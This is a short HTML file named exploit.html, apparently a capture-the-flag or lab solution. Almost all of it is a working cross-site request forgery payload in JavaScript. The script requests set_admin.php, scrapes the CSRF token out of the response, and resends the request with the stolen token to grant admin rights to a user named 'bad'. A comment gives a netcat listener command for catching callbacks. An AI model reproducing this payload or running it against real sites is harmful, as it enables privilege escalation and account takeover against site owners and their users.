exploit.html

<!-- CSRF through the mail function?-->
<!-- sudo nc -lk 80-->
<script>
 var oReq = new window.XMLHttpRequest;
 oReq.open("GET", "set_admin.php", true);
 oReq.setRequestHeader("user", "bad");
 oReq.setRequestHeader("herp", "herp");
 function handler(data) {
  if (oReq.responseText) {
   console.log(oReq.responseText);
   var csrftokenStolen = oReq.responseText.split("csrftoken\" value=\"")[1].split("\"")[0];
   console.log(csrftokenStolen);
   var oReq2 = new window.XMLHttpRequest;
   oReq2.open("GET", "set_admin.php", true);
   oReq2.setRequestHeader("user", "bad");
   oReq2.setRequestHeader("Set", "Set");
   oReq2.setRequestHeader("csrftoken", csrftokenStolen);
   oReq2.send();
  }
 }
 oReq.onreadystatechange = handler
 oReq.send();
</script>